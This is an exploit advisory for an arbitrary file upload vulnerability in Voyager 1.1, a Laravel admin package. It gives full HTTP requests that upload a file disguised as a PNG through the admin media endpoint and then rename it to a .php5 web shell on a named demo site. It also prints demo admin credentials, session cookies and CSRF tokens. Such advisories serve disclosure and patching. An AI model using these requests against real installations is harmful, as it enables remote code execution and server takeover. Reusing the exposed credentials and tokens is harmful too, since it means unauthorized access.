Voyager version 1.1 suffers from a remote shell upload vulnerability.
1e7350cb2a7de8ff5655c376c5adb860
# Exploit Title: Voyager 1.1 - Arbitrary File Upload
# Google Dork: N/A
# Date: 1 Jan 2019
# Exploit Author: Deyaa Muhammad
# Author EMail: contact [at] deyaa.me
# Author Blog: http://deyaa.me
# Poc Video: https://youtu.be/5GnHbFqRP9M
# Vendor Homepage: https://laravelvoyager.com/
# Software Link: https://github.com/the-control-group/voyager
# Demo Website: http://demo.meteorsa.com/Beemedia
# Demo Admin Panel: http://demo.meteorsa.com/Beemedia/admin
# Demo Admin Credentials: [email protected]/password
# Version: 1.1.11
# Tested on: WIN7_x68/Linux2.6.32-896.16.1.lve1.4.54.el6.x86_64
# CVE : N/A
# Description
You could be able to bypass .htaccess extensions restrictions by renaming the shell.png to shell.php5,
This exploit happen due to laravel and voyager extensions filter failure.
#Upload Request
POST /Beemedia/admin/media/upload HTTP/1.1
Host: demo.meteorsa.com
Connection: keep-alive
Content-Length: 1203
Accept: application/json
Cache-Control: no-cache
Origin: http://demo.meteorsa.com
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryBfiKW54AxLABftaB
Referer: http://demo.meteorsa.com/Beemedia/admin/media
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: XSRF-TOKEN=eyJpdiI6ImhMWXRCQVwvTVlLbTRkYVFpSzZmYWRBPT0iLCJ2YWx1ZSI6InQxUlFvZWFHeFhPUm02dUxMYzBUaVY4aUFXREZwV3JvQ01rb0VJOFdOQ1wvM2tLdWFLZWVORms1YzMyaU9TUDdDIiwibWFjIjoiMDk5YzNkMmNkZmEyMGJmNGM4Njc0NDg3ZjY3OWIyMzBlMGE3MTFhZDI2OWNhNmZmZWI0MjdiZTdmNDViYzg1MSJ9; laravel_session=eyJpdiI6ImNyc3F6UEJONlhtdHBoQXlxbXdOdlE9PSIsInZhbHVlIjoiU0piSGlGN2tETU1oem9KU3RscVlhb0NIWUxTN01UWjhRMnJ2ZXgwRjZ1dlFMQ1FRVnZiUVh1Q1Q5RUhFXC9PM2siLCJtYWMiOiI2NGE4OWFiNTlhOTQ5MjY1ZmZlZjViMzJhZjI1OTk5MDNhZGI5ZmQ2OGQ4NTJiYWI0ZTE4NmE4MjhlYzUyOGFhIn0%3D
------WebKitFormBoundaryBfiKW54AxLABftaB
Content-Disposition: form-data; name="_token"
of3KiGsiLLx5meVLJLocDCZjj7uZxWGQdG43LCbC
------WebKitFormBoundaryBfiKW54AxLABftaB
Content-Disposition: form-data; name="upload_path"
------WebKitFormBoundaryBfiKW54AxLABftaB
Content-Disposition: form-data; name="file"; filename="wv.png"
Content-Type: image/png
------WebKitFormBoundaryBfiKW54AxLABftaB--
#Rename Request
POST /Beemedia/admin/media/rename_file HTTP/1.1
Host: demo.meteorsa.com
Connection: keep-alive
Content-Length: 157
Accept: */*
Origin: http://demo.meteorsa.com
X-CSRF-TOKEN: of3KiGsiLLx5meVLJLocDCZjj7uZxWGQdG43LCbC
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Referer: http://demo.meteorsa.com/Beemedia/admin/media
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: XSRF-TOKEN=eyJpdiI6IjU1TXZaVVZoUmFXcFpIcXBWKzE2T2c9PSIsInZhbHVlIjoiV1hLTVwvbk9ZVGRLY3ErUlJoNlwvRlV0TkpIcTJOSFwvQnI2WFltdEFyWTZzZEtRdENreXFLbG1EcFR0WmlONUhkMCIsIm1hYyI6ImM2YzQwZTdiOGYzMDQ1MTE1MjE4MjJhMDkzZTcwYWM1ZmU5ZmY0MmYzZTQ1YjEwODZlOGIzMjA3ZTE4ODZkOGIifQ%3D%3D; laravel_session=eyJpdiI6IksyS2xBczMrdlJ4SHdtVDN0QWhLR1E9PSIsInZhbHVlIjoiNHZvU0wzeEF5MkpcLzlONEFvN09XMXlZSkljbDFJVHo0aE81aGtOSm1QaHBZUmpZaHNndmJmeUZqVFdtS1lycHMiLCJtYWMiOiIzZWI5YjNhOGFkNWU4YjdiZjNkM2FhMDFlODY4MjkyMDk3NjdlZTQ4YjMwYjE1MTEyZDM3YzU1NzAyYjNlYTEyIn0%3D
filename=LWVxh2eHAtZYxigmkPVzSeB5YdclRG5ogwqEp0lA.&new_filename=LWVxh2eHAtZYxigmkPVzSeB5YdclRG5ogwqEp0lA.php5&_token=of3KiGsiLLx5meVLJLocDCZjj7uZxWGQdG43LCbC